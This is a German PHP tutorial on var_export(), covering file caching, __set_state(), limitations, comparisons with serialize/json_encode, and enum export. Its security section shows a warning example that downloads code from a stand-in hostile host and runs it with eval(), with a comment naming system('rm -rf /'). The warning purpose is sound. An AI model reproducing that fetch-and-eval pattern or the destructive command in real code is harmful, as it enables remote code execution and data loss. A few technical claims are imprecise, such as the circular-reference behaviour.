Wer Konfigurationsdaten, Testfixtures oder Array-Strukturen als lauffähigen PHP-Code abspeichern möchte, findet in var_export() genau das richtige Werkzeug. Die Funktion wandelt beliebige Variablen in eine Zeichenkette um, die sich direkt als PHP-Code weiterverwenden lässt. So kannst du zum Beispiel ein Konfigurations-Array in eine PHP-Datei schreiben und später per include blitzschnell laden, ohne JSON parsen oder deserialisieren zu müssen.
Warum var_export()? Das Praxis-Szenario
Stell dir vor, du liest Konfigurationswerte aus einer Datenbank und möchtest sie als lokalen Cache ablegen. Statt die Daten bei jedem Seitenaufruf neu abzufragen, speicherst du sie einmal als PHP-Datei. Beim nächsten Request lädt PHP diese Datei direkt aus dem Opcache, ganz ohne Parsing-Overhead. Genau dieses Pattern nutzen Frameworks wie Laravel und Symfony für ihre Konfigurationen und Routen-Caches.
Das unterscheidet var_export() grundlegend von Debug-Funktionen:
- var_dump() liefert ausführliche Typinformationen für Debug-Zwecke, aber kein gültiges PHP.
- print_r() ist menschenlesbar, aber nicht direkt nutzbar, um Werte zurückzuschreiben.
- var_export() erzeugt echten, ausführbaren PHP-Code.
Syntax und Parameter von var_export()
Die Funktion akzeptiert zwei Parameter: den zu exportierenden Wert und einen optionalen Schalter, der bestimmt, ob die Ausgabe direkt erfolgt oder als String zurückgegeben wird.
string|null var_export(mixed $value, bool $return = false)
Parameter:
-
$value (mixed, erforderlich): Die Variable, die du exportieren möchtest. Unterstützt werden Integer, Float, Boolean, null, String, Arrays und Objekte (bei Klassen mit __set_state()).
-
$return (bool, optional, Standard: false):
false: Gibt die Ausgabe direkt aus, Rückgabewert ist null.true: Gibt den Export als String zurück (kein Echo).
Du brauchst $return = true, sobald du das Ergebnis weiterverwenden willst, zum Beispiel für das Schreiben in eine Datei.
Rückgabewert von var_export()
Der Rückgabewert hängt direkt vom zweiten Parameter ab.
- Bei $return = true: Rückgabe ist ein String mit valider PHP-Syntax.
- Bei $return = false: Rückgabewert ist
null, die Ausgabe erfolgt direkt an den Output-Stream (Browser oder CLI).
Praxis-Tipp: Willst du die Export-Ausgabe speichern oder weiterverarbeiten, setze immer $return = true.
Grundlegende Anwendungsbeispiele
Im Alltag arbeitest du oft mit einfachen Werten wie Zahlen, Zeichenketten oder Wahrheitswerten. var_export() zeigt dir diese sofort im gültigen PHP-Format an, sodass du das Ergebnis problemlos in ein Skript einfügen kannst.
Export einfacher Datentypen
Hier siehst du, wie var_export() verschiedene Datentypen als gültigen PHP-Code darstellt.
String
$sText = "Hallo Welt!";
var_export($sText);
// Ausgabe: 'Hallo Welt!'
Integer
$iZahl = 42;
var_export($iZahl);
// Ausgabe: 42
Float
$fZahl = 3.1415;
var_export($fZahl);
// Ausgabe: 3.1415
Boolean und Null
var_export(true); // Ausgabe: true
var_export(false); // Ausgabe: false
var_export(null); // Ausgabe: NULL
Die Macht des $return-Parameters
Der $return-Parameter entscheidet, ob var_export() das Ergebnis direkt ausgibt oder als String zurückliefert. So steuerst du flexibel, ob du den PHP-Code weiterverarbeiten oder nur anzeigen möchtest.
$aTest = ['eins', 'zwei'];
/* Direkte Ausgabe (wie echo) */
var_export($aTest, false);
/* Als String speichern */
$code = var_export($aTest, true);
echo $code; // explizit ausgeben
Export in eine Datei
Besonders nützlich wird var_export(), wenn du den exportierten Code direkt in eine PHP-Datei schreibst.
<?php
$aKonfig = ['host' => 'localhost', 'port' => 3306];
file_put_contents(
'config.php',
'<?php return ' . var_export($aKonfig, true) . ';'
);
Die erzeugte Datei config.php enthält jetzt gültigen PHP-Code und kann später per include geladen werden.
Vollständiges Round-Trip-Beispiel
Der eigentliche Nutzen von var_export() zeigt sich erst im vollständigen Workflow: Daten exportieren, als PHP-Datei speichern und später wieder einlesen. Hier das komplette Rezept zum Kopieren:
<?php
/* 1. Daten definieren */
$aOriginal = [
'db_host' => 'localhost',
'db_name' => 'meinedb',
'debug' => false,
'version' => 2.5
];
/* 2. Als PHP-Datei speichern */
$sDatei = __DIR__ . '/cache_config.php';
$sCode = '<?php return ' . var_export($aOriginal, true) . ';';
file_put_contents($sDatei, $sCode);
/* 3. Zurueckladen per include */
$aGeladen = include $sDatei;
/* 4. Pruefen ob identisch */
var_dump($aOriginal === $aGeladen);
// Ausgabe: bool(true)
Das Array kommt exakt so zurück, wie es gespeichert wurde. Dieses Pattern bildet die Grundlage für Konfigurations-Caches in professionellen PHP-Anwendungen.
var_export() mit Arrays
Ob du mit einfachen Listen oder komplexen Schlüssel-Wert-Paaren arbeitest: var_export() gibt beide Array-Typen so aus, dass du sie direkt in deinen PHP-Code übernehmen kannst.
Numerische und assoziative Arrays
Hier die Ausgabe für die beiden gängigsten Array-Typen.
/* Numerisches Array */
$aEinfach = [1, 2, 3];
echo var_export($aEinfach, true);
/*
array (
0 => 1,
1 => 2,
2 => 3,
)
*/
/* Assoziatives Array */
$aAssoc = ['user' => 'Max', 'id' => 5];
echo var_export($aAssoc, true);
/*
array (
'user' => 'Max',
'id' => 5,
)
*/
Mehrdimensionale Arrays
Auch verschachtelte, mehrdimensionale Arrays exportiert var_export() zuverlässig in einer klar strukturierten PHP-Syntax. Das ist besonders praktisch, wenn du komplexe Datenbestände sichern oder weiterverarbeiten willst.
$aMulti = [
'users' => [
['name' => 'Tom'],
['name' => 'Anna']
],
'active' => true
];
echo var_export($aMulti, true);
/*
array (
'users' =>
array (
0 =>
array (
'name' => 'Tom',
),
1 =>
array (
'name' => 'Anna',
),
),
'active' => true,
)
*/
var_export() und Objekte: __set_state() verstehen
Damit var_export() ein Objekt als gültigen PHP-Code zurückgeben kann, muss die zugehörige Klasse eine spezielle statische Methode namens __set_state() implementieren. Nur dann ist eine spätere Wiederherstellung des Objekts möglich.
Warum __set_state() benötigt wird
PHP exportiert Objekte mit var_export() in folgender Form:
ClassName::__set_state(array(...))
Wenn du diesen exportierten Code später per include oder eval() ausführst, ruft PHP die statische Methode __set_state() auf und übergibt ihr ein Array mit allen Eigenschaften.
Realistisches Beispiel: Preis-Objekt mit __set_state()
Statt einer abstrakten Demo-Klasse zeigt dieses Beispiel ein Preis-Objekt, wie es in einem echten Shop vorkommen könnte:
<?php
class Preis
{
public function __construct(
private float $netto,
private float $mwstSatz = 19.0
) {}
public function getBrutto(): float
{
return $this->netto * (1 + $this->mwstSatz / 100);
}
public static function __set_state(array $aProps): self
{
return new self(
$aProps['netto'],
$aProps['mwstSatz']
);
}
}
$oPreis = new Preis(100.00, 19.0);
/* Exportieren */
$sExport = var_export($oPreis, true);
echo $sExport;
/*
Preis::__set_state(array(
'netto' => 100.0,
'mwstSatz' => 19.0,
))
*/
/* Wiederherstellen */
$oWiederhergestellt = eval('return ' . $sExport . ';');
echo $oWiederhergestellt->getBrutto();
// Ausgabe: 119
Das Preis-Objekt wird vollständig wiederhergestellt und die Methode getBrutto() funktioniert wie erwartet. Dieses Pattern eignet sich gut für Value Objects und DTOs.
Was passiert ohne __set_state()?
Fehlt die Methode in der Klasse, erzeugt PHP beim Wiederherstellen einen Fatal Error:
/* Fatal Error: Call to undefined method
MeineKlasse::__set_state() */
Der Export selbst funktioniert trotzdem. Der Fehler tritt erst auf, wenn du den exportierten Code ausführst.
Sonderfall stdClass
Bei stdClass hängt die Ausgabe von der PHP-Version ab:
$oStd = new stdClass();
$oStd->x = 1;
echo var_export($oStd, true);
/* PHP 7.3+: */
// (object) array('x' => 1)
/* Aeltere Versionen: */
// stdClass::__set_state(array('x' => 1))
Einschränkungen und Fallstricke
Nicht jeder Datentyp lässt sich mit var_export() sinnvoll verarbeiten. Ressourcen wie Datenbankverbindungen oder Dateizeiger liefern lediglich NULL statt einer verwertbaren Repräsentation.
Keine Unterstützung für Ressourcen
$handle = fopen(__FILE__, 'r');
echo var_export($handle, true);
// Ausgabe: NULL
Ressourcen wie Dateizeiger oder Datenbankverbindungen kann var_export() nicht exportieren. Für solche Fälle musst du die Verbindungsdaten separat speichern und die Ressource beim Laden neu erzeugen.
Problem: Zirkuläre Referenzen
$a = [];
$a['selbst'] = &$a;
echo var_export($a, true);
// Fatal Error: Nesting level too deep
Bei zirkulären Referenzen stürzt var_export() ab. Prüfe komplexe Strukturen auf Referenzen, um das Debugging zu erleichtern. Für diese Fälle ist serialize() die bessere Wahl, da es mit Referenzen umgehen kann.
var_export() im Vergleich mit anderen Funktionen
PHP bietet mehrere Funktionen zur Ausgabe und Speicherung von Variablen. Welche du wählst, hängt davon ab, ob du Debug-Informationen mit detaillierten Typinformationen brauchst, eine lesbare Ausgabe für Entwickler oder wiederverwendbaren Code.
var_export() vs. var_dump() vs. print_r()
| Funktion | Ziel | Output | Als PHP nutzbar |
| var_export() | Code-Generierung | PHP-Code als String | Ja |
| var_dump() | Debugging | Typen + Werte, Debug-Info | Nein |
| print_r() | Lesbare Ausgabe | Menschenlesbar | Nein |
Vergleich am Beispiel:
$a = [1, 'x' => true];
var_export($a);
// array ( 0 => 1, 'x' => true, )
var_dump($a);
// array(2) { [0]=> int(1) ["x"]=> bool(true) }
print_r($a);
// Array ( [0] => 1 [x] => 1 )
var_export() vs. serialize() vs. json_encode()
Je nachdem, ob du PHP-Code, flexible Datenübertragung oder kompakten Austausch mit anderen Sprachen brauchst, spielt jede Methode ihre eigenen Stärken aus.
| Funktion | Ziel | Vorteil | Nachteil |
| var_export() | PHP-Code speichern | Direkt als PHP nutzbar, Opcache | Keine Ressourcen, keine Referenzen |
| serialize() | PHP-intern speichern | Flexibel, Referenzen, Objekte | Nicht lesbar, nur PHP |
| json_encode() | Austausch (JS, APIs) | Kompakt, sprachunabhängig | Typenverluste, keine Objekte |
Performance-Empfehlung nach Anwendungsfall
Bei der Wahl der richtigen Methode hilft diese Faustregel:
- Konfigurationsdatei für PHP:
var_export() + include (schnellstes Laden dank Opcache) - Persistenz mit Referenzen oder komplexen Objekten:
serialize() + unserialize() - APIs, Web, JavaScript:
json_encode() + json_decode() - Debug und Inspektion:
var_dump() oder print_r()
Bei wiederholtem Lesen derselben Daten ist var_export() + include deutlich schneller als JSON oder serialize, weil der Opcache die kompilierte PHP-Datei im Speicher hält. Bei einmaligem Lesen ist der Unterschied vernachlässigbar.
Opcache-Vorteil: Warum PHP-Dateien schneller sind als JSON
Der größte Vorteil von var_export() gegenüber json_encode() und serialize() liegt in der Zusammenarbeit mit dem PHP-Opcache. Wenn du Konfigurationsdaten als PHP-Datei speicherst, kompiliert PHP diese Datei beim ersten Laden und legt das Ergebnis im Opcache ab. Bei jedem weiteren Request wird die Datei direkt aus dem Speicher geladen, ohne erneutes Parsen oder Deserialisieren.
<?php
/* var_export + include (Opcache-optimiert) */
$aConfig = include 'config.php';
/* PHP laedt kompilierten Bytecode aus
dem Opcache. Kein Parsing noetig. */
/* json_decode (jedes Mal neu parsen) */
$sJson = file_get_contents('config.json');
$aConfig = json_decode($sJson, true);
/* Datei lesen + JSON parsen bei jedem
einzelnen Request. */
Genau deshalb nutzen Frameworks wie Laravel den Befehl php artisan config:cache, um alle Konfigurationsdateien in eine einzige PHP-Datei zusammenzuführen. Dieses Pattern solltest du kennen, wenn du Performance-kritische PHP-Anwendungen entwickelst.
Sicherheit: Vorsicht bei eval() mit var_export()
Der exportierte Code ist gültiges PHP. Das bedeutet: Wenn du den Output von var_export() per eval() ausführst, wird jeder darin enthaltene Code tatsächlich ausgeführt. Bei vertrauenswürdigen Quellen (eigene Datenbank, eigene Dateien) ist das sicher. Gefährlich wird es, wenn die Daten aus einer nicht kontrollierten Quelle stammen.
Konkretes Angriffs-Szenario
Stell dir vor, du lädst eine var_export()-Ausgabe von einer externen API und führst sie per eval() aus:
<?php
/* NIEMALS so verwenden! */
$sExterneDaten = file_get_contents(
'https://boese-api.example.com/data.php'
);
eval('$daten = ' . $sExterneDaten . ';');
/* Ein Angreifer koennte statt Array-Daten
beliebigen PHP-Code einschleusen:
system('rm -rf /') ... */
Sichere Alternative
Wenn die Datenquelle nicht vollständig unter deiner Kontrolle steht, verwende json_encode() und json_decode() statt var_export() mit eval(). JSON kann keinen ausführbaren Code enthalten.
<?php
/* Sicher: JSON statt eval */
$sJson = file_get_contents('daten.json');
$daten = json_decode($sJson, true);
/* JSON kann keinen Code ausfuehren */
Faustregel: Verwende var_export() + include nur für Dateien, die du selbst erzeugt hast. Für externe Daten ist JSON die sichere Wahl.
PHP-Versionsunterschiede und Enum-Export
Das Verhalten von var_export() hat sich über die PHP-Versionen weiterentwickelt. Hier die wichtigsten Änderungen:
- Ab PHP 5.1:
__set_state() für Objekte verfügbar - stdClass-Export: Kann je nach Version als
(object) array(...) oder als stdClass::__set_state() erscheinen - Namespaces: Klassen werden immer mit vollem Namespace exportiert
Enum-Export ab PHP 8.1
Ab PHP 8.1 unterstützt var_export() auch Enums:
<?php
enum Farbe: string
{
case Rot = 'rot';
case Blau = 'blau';
}
echo var_export(Farbe::Rot, true);
// Ausgabe: \Farbe::Rot
/* Backed Enum in einem Array */
$aConfig = ['theme' => Farbe::Blau];
echo var_export($aConfig, true);
/*
array (
'theme' => \Farbe::Blau,
)
*/
Enums werden direkt als ihre Case-Referenz exportiert, nicht als Wert-String. Das ist wichtig zu wissen, wenn du Enum-Werte in Konfigurationsdateien cachen möchtest.
Troubleshooting: Typische Fehler und Lösungen
Wenn var_export() nicht das liefert, was du erwartest, liegt es oft an einem der folgenden Fälle.
Fatal Error: __set_state() fehlt
Problem: Du exportierst ein Objekt und versuchst den Code später auszuführen, aber die Klasse hat keine __set_state()-Methode.
Lösung: Implementiere __set_state() in der Klasse (siehe Beispiel oben) oder verwende serialize()/json_encode() als Alternative.
NULL-Ausgabe bei Ressourcen
Problem: var_export() gibt NULL aus statt der erwarteten Daten.
Lösung: Prüfe, ob die Variable eine Ressource ist (z.B. Dateizeiger, Datenbankverbindung). Ressourcen können nicht exportiert werden. Speichere stattdessen die Verbindungsparameter und erzeuge die Ressource beim Laden neu.
Endlosschleife bei zirkulären Referenzen
Problem: Ein Array oder Objekt verweist auf sich selbst, was zu einem Fatal Error führt.
Lösung: Verwende serialize() für Strukturen mit Referenzen. Alternativ die Referenzen vor dem Export auflösen.
Die Ausgabe nutzt array() statt []
Problem: var_export() gibt immer array(...) statt der Kurzschreibweise [...] aus.
Lösung: Das ist kein Bug, sondern gewollt. Die array()-Syntax funktioniert in allen PHP-Versionen und ist deshalb die sichere Wahl für generierten Code. Der erzeugte Code ist funktional identisch.
Häufige Fragen (FAQ)
Hier findest du Antworten auf die gängigsten Fragen rund um var_export().
Warum gibt var_export() array() statt [] aus?
var_export() verwendet bewusst die lange array()-Syntax statt der Kurzschreibweise []. Der Grund: array() ist seit PHP 4 gültig und damit maximal kompatibel. Der exportierte Code funktioniert in jeder PHP-Version. Funktional gibt es keinen Unterschied zwischen beiden Schreibweisen.
Was ist der Unterschied zu serialize()?
var_export() erzeugt lesbaren, ausführbaren PHP-Code. serialize() erzeugt ein kompaktes, binäres Format, das nur PHP versteht. Der größte praktische Unterschied: var_export()-Dateien profitieren vom Opcache, serialize()-Dateien nicht.
Kann ich var_export() für Debugging verwenden?
Technisch ja, aber es gibt bessere Optionen. var_dump() zeigt zusätzlich die Datentypen an und ist damit informativer. print_r() ist kompakter und lesbarer. var_export() ist primär für die Code-Generierung gedacht, nicht für Debugging.
Muss ich eval() verwenden, um den exportierten Code zu laden?
Nein. Der empfohlene Weg ist, den Code in eine Datei zu schreiben (file_put_contents()) und ihn per include zu laden. Das ist sicherer als eval() und profitiert zusätzlich vom Opcache.
Fazit: var_export() gezielt einsetzen
var_export() ist das richtige Werkzeug, wenn du PHP-Variablen als lauffähigen Code abspeichern willst. In Kombination mit file_put_contents() und include entsteht ein schnelles, Opcache-optimiertes Caching-Pattern, das Frameworks wie Laravel und Symfony produktiv einsetzen.
Behalte aber die Einschränkungen im Blick: Ressourcen und zirkuläre Referenzen funktionieren nicht, und eval() solltest du nur mit selbst erzeugten Daten verwenden. Für den Datenaustausch mit anderen Sprachen oder externen Systemen bleiben json_encode() und json_decode() die bessere Wahl.
Probier die Funktion mit eigenen Daten aus und nutze das Round-Trip-Pattern aus diesem Tutorial als Ausgangspunkt für deine Projekte.
